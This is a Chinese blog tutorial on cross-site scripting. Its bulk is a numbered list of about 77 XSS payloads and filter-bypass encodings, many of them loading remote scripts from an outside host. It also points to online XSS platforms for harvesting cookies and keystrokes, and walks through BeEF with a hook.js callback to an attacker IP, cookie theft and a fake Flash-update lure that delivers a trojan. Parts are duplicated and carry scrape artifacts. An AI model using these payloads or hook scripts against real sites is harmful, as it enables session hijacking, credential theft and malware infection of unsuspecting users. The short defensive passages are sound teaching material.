免责声明
传播、利用本博客所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本博客及作者不为此承担任何责任,一旦造成后果请自行承担!谢谢!
XSS跨站脚本攻击
XSS是什么
XSS全称呼跨站脚本,是将任意JavaScript代码插入到Web用户页面里执行以达到攻击目的的漏洞,当用户浏览该页面时,这些嵌入在Web页面的代码就会被执行。
产生原理
形成XSS漏洞的主要原因是:因为Web程序对用户输入的内容,和程序输出的内容没有经过严格过滤,导致攻击者构造的恶意代码输入后,又被当作正常代码输出至前端页面,浏览器当作有效代码解析执行从而产生危害。
漏洞危害
● 网络钓鱼,包括获取各类用户账号。
● 窃取用户`cookie`信息,从而获取用户隐私信息或者利用用户身份进一步对网站执行操作
● 劫持用户(浏览器会话)从而执行任意操作。
● 网页挂马
● 结合其他漏洞,如CSRF,实施进一步危害
● 传播跨站脚本蠕虫等
XSS分类
XSS漏洞可以分为三种类型: 反射型XSS、存储型XSS、DOM型XSS。
反射型XSS
介绍
反射型XSS又称非持久性、参数型跨站脚本。反射型XSS的恶意代码在Web应用的参数中,需要诱骗受害者点击访问含有恶意代码的链接。
特点
攻击方式
需要欺骗用户自己去点含有XSS的链接,才能触发XSS代码,攻击者通过发送邮件或诱导等方
式,将包含又XSS恶意代码的链接发送目标用户。当目标用户访问该链接时,服务器接收该用户的请求并进行处理,然后服务器把带有XSS恶意脚本的代码发送给目标用户浏览器,浏览器解析XSS恶意代码,触发XSS攻击。
如何触发反射型XSS漏
- 构造恶意代码的链接
- 通过某种方式发送给受害者。
- 受害者打开页面,向服务器发送请求。
- 服务器解析地址,然后返回源代码。
- 浏览器接收,解析代码触发XSS漏洞攻击。
存储型XSS
介绍
储型是持久型跨站脚本,持久性体现在XSS代码不在某个参数中,而是写进数据库或文件中。当用户与数据库交互时触发代码加载执行。这种XSS比较危险,容易造成蠕虫、窃取Cookie等操作。
**特点:**攻击脚本将被永久地存放在目标服务器地数据库或文件中,具有很高地隐蔽性。
攻击方式
这种攻击常见于论坛、博客、留言板等,攻击者在写入时将恶意脚本连同正常内容一起写入
进去。恶意脚本被永久地存放在服务器地后端存储器中,当其他用户浏览到这个页面时,恶意脚本会在用户浏览器中加载执行造成XSS攻击
可能出现的位置
:
博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis
DOM型XSS
介绍
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。 DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于DOM 文档对象模型的一种漏洞。 在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。
可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于这个特性,就可以利用JS 脚本来实现 XSS 漏洞的利用;
经常出现 dom xss 的关键语句:
- document.referer 属性
- window.name 属性
- location 属性
- innerHTML 属性
- documen.write 属性
定义::DOM型XSS比较特殊,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是恶意代码在浏览器本地DOM执行,并不会传到服务器上。
攻击方式:
用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应
不会以任何形式包含攻击者的脚本。 当用户的浏览器处理这个响应时, DOM对象就会处理XSS代码,导致存在XSS漏洞 。
代码分析
DOM 型XSS程序中,只有 html 代码,dom通过操作HTML实现更改HTML 属性、方法、事件,因此程序中没有与服务器进行交互;
XSS防御
XSS 防御的总体思路是:
- 对输入(和 URL 参数)进行过滤,对输出进行编码,也就是对提交的所有内容进行过滤
- 对 url 中的参数进行过滤,过滤掉会导致脚本执行的相关内容;
- 然后对动态输出到页面的内容进行 html 编码,使脚本无法在浏览器中执行;
XSS测试语句
在网站是否存在 xss 漏洞时,应该输入一些标签如<、>输入后查看网页源代码是否过滤标签,如果没过滤,很大可能存在 xss 漏洞;
<script>alert(1)</script>
<script>console.log(6)</script>
<script>console.log('f')</script>
<img src=x one rror=alert(1)>
<svg onl oad=alert(1)
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
(1)普通的 XSS JavaScript 注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG 标签 XSS 使用 JavaScript 命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG 标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG 标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML 编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷 IMG 标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode 标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8 的 Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=java..省略..XSS')>
(11)嵌入式标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script>
<script>z=z+'<script'</script><s
cript>z=z+'
src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script>
<script>z=z+'.ne
t/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script>
<script>eval_r(z)<
/script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "
<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onl oad!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS -
Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE>
<ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
XSS-Labs
项目地址:https://github.com/do0dl3/xss-labs
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}
</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss"
implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG 嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>"
SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js">
</SCRIPT>
(68)URL 绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL 编码
<A HREF="http://3w.org">XSS</A>
(70)IP 十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP 十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP 八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对 DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript 链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
XSS-Labs
项目地址:https://github.com/do0dl3/xss-labs
XSS绕过
gpc过滤字符
如果 gpc 开启的时候,特殊字符会被加上斜杠即,‘变成’ ,xss 攻击代码不要带用单引号或双引号。
GPC是一种常见的缩写,表示在Web应用程序中处理用户输入时通常需要过滤的三种变量:GET
、POST
和 COOKIE
。这三个变量包含了用户通过Web浏览器发送给Web服务器的数据,因此它们可能包含恶意代码或意外的输入,应该进行过滤和验证,以确保应用程序的安全性和可靠性。
在PHP中,可以使用一些函数来过滤GPC变量中的特殊字符和敏感字符,以确保它们不会被误解或滥用。以下是一些常见的过滤函数:
htmlspecialchars
:将特殊字符转换为HTML实体,以避免跨站点脚本攻击(XSS)。strip_tags
:从字符串中删除HTML和PHP标记,以避免XSS攻击和代码注入攻击。addslashes
:在字符串中添加反斜杠字符,以避免SQL注入攻击。mysqli_real_escape_string
:转义字符串中的特殊字符,以避免SQL注入攻击。
以下是一个示例,演示如何使用 htmlspecialchars
函数来过滤GPC变量中的特殊字符:
$name = htmlspecialchars($_POST['name']);
$email = htmlspecialchars($_POST['email']);
$message = htmlspecialchars($_POST['message']);
在上面的示例中,htmlspecialchars
函数将 $name
、$email
和 $message
变量中的特殊字符转换为HTML实体,以避免XSS攻击。
总之,处理GPC变量时应该进行过滤和验证,以确保应用程序的安全性和可靠性。可以使用一些PHP函数来过滤GPC变量中的特殊字符和敏感字符,以避免常见的Web安全问题,例如XSS攻击和SQL注入攻击。GPC是一种常见的缩写,表示在Web应用程序中处理用户输入时通常需要过滤的三种变量:GET
、POST
和 COOKIE
。这三个变量包含了用户通过Web浏览器发送给Web服务器的数据,因此它们可能包含恶意代码或意外的输入,应该进行过滤和验证,以确保应用程序的安全性和可靠性。
在PHP中,可以使用一些函数来过滤GPC变量中的特殊字符和敏感字符,以确保它们不会被误解或滥用。以下是一些常见的过滤函数:
htmlspecialchars
:将特殊字符转换为HTML实体,以避免跨站点脚本攻击(XSS)。strip_tags
:从字符串中删除HTML和PHP标记,以避免XSS攻击和代码注入攻击。addslashes
:在字符串中添加反斜杠字符,以避免SQL注入攻击。mysqli_real_escape_string
:转义字符串中的特殊字符,以避免SQL注入攻击。
以下是一个示例,演示如何使用 htmlspecialchars
函数来过滤GPC变量中的特殊字符:
$name = htmlspecialchars($_POST['name']);
$email = htmlspecialchars($_POST['email']);
$message = htmlspecialchars($_POST['message']);
在上面的示例中,htmlspecialchars
函数将 $name
、$email
和 $message
变量中的特殊字符转换为HTML实体,以避免XSS攻击。
总之,处理GPC变量时应该进行过滤和验证,以确保应用程序的安全性和可靠性。可以使用一些PHP函数来过滤GPC变量中的特殊字符和敏感字符,以避免常见的Web安全问题,例如XSS攻击和SQL注入攻击。
alert过滤
当页面过滤 alert 这个函数时,因为这个函数会弹窗,不仅很多程序会对他进行 过滤,而且很多 waf 都会对其进行拦截。所以不存在 alert 即可;
<script>prompt(/xss/);</script>
<script>confirm(1);</script>
<script src=http://www.xss123.com/eciAKj?1623635663></script>
过滤标签
在程序里如果使用 html 实体过滤,在 php 会使用 htmlspecialchars()对输入的字符进行实体化,实体化之后的字符不会在 html 执行。把预定义的字符 “<” (小于) 和 “>” (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用<或 者>,这两个字符被实体化后在 html 里就不能执行了;
URL编码
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
JS编码
八进制编码
<script>eval("\141\154\145\162\164\50\61\51");</script>
16 进制编码
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
jsunicode 编码
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>
构造事件绕过
如果不能依靠属性进行跨站,那么还可以利用事件处理函数:
<input type = "button" value = "clickme" οnclick="alert('click me')" />
事件既能让JS脚本运行,自然也可以执行跨站,另外像onerror、onMouseover等都可利用的是事件处理函
数;
最后还可以使用fuzz大法去做模糊测试,然后构造payload,更事半功倍!
XSS平台
在初步探测到xss漏洞时,此时我们可以使用xss在线平台,去获取一些我们需要的信息,比如位置、键盘记录、ip、Cookie
COOKIE介绍:
- Cookie 是一些数据, 存储于你电脑上的文本文件中
- 当web 服务器向浏览器发送 web 页面时,在连接关闭后,服务端不会记录用户的信息
- Cookie 的作用就是用于解决 “如何记录客户端的用户信息”
- 当用户访问 web 页面时,登录信息可以记录在 cookie 中
- 在用户下一次访问该页面时,可以在 cookie 中读取用户访问记录
- cookie是有时效性的且遵循同源策略
COOKIE伪造浏览器插件:
- EditThisCookie
https://xss.pt/xss.php?do=login
https://xssaq.com/login/
自己搭建:https://github.com/78778443/xssplatform
BEFF-XSS平台
工具安装
sudo apt-get update
sudo apt-get install beef-xss
Beef是专注于利用浏览器漏洞,全称 The Browser Exploiation Framework.
Beef提供了一个Web界面供操作,只要访问访问嵌入Hook.js页面1,或加载Hook.js文件的浏览器,就会不断地以GET方式将其自身地相关消息发送Beef地Server端。
账户密码: beef/beef
启动
sudo beef-xss
*初次启动时,会设置新的密码,启动以后在浏览器访问
工具使用
登录后进入Beff界面
我们主要利用的Payload是Hook.js
<script src='http://IP(运行beef主机的IP):3000/hook.js'></script>
浏览器解析该js后,会上线至Beef。
- 将payoad插入到靶场环境中
<script src='http:/192.168.10.172:3000/hook.js'></script>
- 插入加载后,Beef界面就会出现浏览器信息部分,显示访问者的IP地址信息。
Beff管理
在beef上上钩了的受害机,beef对其可以获取到很多主机、浏览器信息
-
Details是浏览器的信息
其中details选项卡中显示的是被控制主机的信息。 -
commands-命令模块
Commands是你能对该浏览器进行哪些操作。
主要模块
Browsers #针对浏览器的操作
Exploits #针对于部分CVE漏洞利用
Host #针对受害者主机进行操作,如:查看杀软、查看剪切板内容。
Network #针对用户网络环境进行操作
Persistence(持久)
等其他模块。
绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见
橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)
红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行
灰色圆圈:模块未在目标浏览器上测试过
Beff操作
获取Cookie信息
Browser -> Get Cookie -> Execute
社会工程
在对方网站浏览器显示告警框。
你的浏览器Flash版本过低,请重新安装!
当对方点击Install的时候,会跳转至我们指定的网站去下载软件,那么我们可以将其引导到我们搭建的
钓鱼网站,让其下载木马运行。